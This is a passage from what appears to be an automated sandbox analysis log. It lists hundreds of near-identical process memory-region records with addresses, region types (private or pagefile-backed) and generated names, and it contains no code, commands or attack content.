"private_0x0000000000420000" filename = "" Region: id = 1183 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1184 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1185 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1186 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1187 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1188 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1189 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1190 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1191 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1192 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 1193 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1194 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1195 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1196 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1197 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1198 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1199 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1200 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1201 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1202 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1203 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1204 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1205 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1206 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1207 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1208 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1212 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1213 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1214 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1215 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1216 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1217 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1218 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1219 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1220 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1221 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1222 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1223 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1224 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1225 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1226 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1227 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1228 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1229 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1230 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1231 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1232 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1233 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1234 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1235 start_va = 0x420000 end_va = 0x42dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1236 start_va = 0x4360000 end_va = 0x4366fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 1237 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1238 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1239 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1240 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1241 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1242 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1243 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1244 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 1245 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1246 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1247 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1248 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1249 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1250 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1251 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1252 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1253 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1254 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1255 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1256 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1257 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1258 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1259 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1260 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1261 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1262 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1263 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1264 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1265 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1266 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1267 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1268 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1269 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1270 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1271 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1272 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1273 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1274 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1275 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1276 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1277 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1278 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1279 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1280 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1281 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1282 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1283 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1284 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 1285 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1286 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1287 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1288 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1289 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1290 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1291 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1292 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1293 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1294 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1295 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1296 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1297 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1298 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1299 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1300 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1301 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1302 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1303 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1304 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1305 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1306 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1307 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1308 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1309 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1310 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1311 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1312 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1313 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1314 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1315 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1316 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1317 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1318 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1319 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1320 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1321 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1322 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1323 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1324 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1325 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1326 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1327 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1328 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1329 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1330 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1331 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1332 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1333 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1334 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1335 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1336 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1337 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1338 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1339 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1340 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1341 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1342 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1343 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1344 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1345 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1346 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1347 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1348 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1349 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1350 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1351 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1352 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1353 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1354 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1355 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1356 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1357 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1358 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1359 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1360 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1361 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1362 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1363 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1364 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1365 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1366 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1367 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1368 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1369 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1370 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1371 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1372 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1373 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1374 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1375 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1376 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1377 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1378 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1379 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1380 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1381 start_va = 0x2270000 end_va = 0x227ffff 